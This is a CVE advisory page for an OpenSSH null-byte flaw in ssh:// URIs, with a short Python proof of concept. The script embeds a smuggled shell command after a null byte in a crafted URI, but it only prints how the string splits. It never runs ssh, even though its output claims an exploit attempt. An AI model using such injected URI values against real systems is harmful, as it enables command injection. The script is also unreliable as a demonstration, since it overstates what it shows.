ssh in OpenSSH before 10.1 allows the '\0' character in an ssh:// URI, potentially leading to code execution when a ProxyCommand is used.
CVSS Details
CVSS Score
3.6
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
OpenSSH < 10.1
OpenSSH 10.0及之前所有版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-61985 PoC - OpenSSH ssh:// URI Null Byte Injection
Demonstrates how a null byte in ssh:// URI can lead to command injection
when ProxyCommand is configured.
Vulnerable: OpenSSH < 10.1
Fixed in: OpenSSH 10.1p1
"""
import subprocess
import os
# Configure a malicious ProxyCommand that demonstrates the vulnerability
# In a real attack scenario, this would be set in ~/.ssh/config
proxy_command = 'echo "ProxyCommand triggered"'
# Craft a malicious ssh:// URI with embedded null byte
# The null byte will truncate the string in C-based string handling,
# while the shell will interpret the full command
target_host = "user@legitimate-host"
null_byte = "\x00"
injected_command = "; touch /tmp/pwned_by_cve_2025_61985"
malicious_uri = f"ssh://{target_host}{null_byte}{injected_command}"
print(f"[*] Crafted malicious URI: {repr(malicious_uri)}")
print(f"[*] Attempting to exploit CVE-2025-61985...")
# Simulate the vulnerability by demonstrating how the null byte
# affects string processing
print(f"\n[*] String as C would see it (truncated at null byte):")
print(f" {repr(malicious_uri.split(chr(0))[0])}")
print(f"\n[*] String as shell would interpret it:")
print(f" {repr(malicious_uri.replace(chr(0), ''))}")
# Cleanup any previous exploitation artifacts
if os.path.exists("/tmp/pwned_by_cve_2025_61985"):
os.remove("/tmp/pwned_by_cve_2025_61985")
print("\n[*] Cleaned up previous PoC artifacts")
print("\n[!] Note: Actual exploitation requires:")
print(" 1. OpenSSH version < 10.1")
print(" 2. ProxyCommand configured in ssh_config")
print(" 3. Attacker control over the ssh:// URI input")
print("\n[+] PoC demonstration complete. Upgrade to OpenSSH 10.1p1 to mitigate.")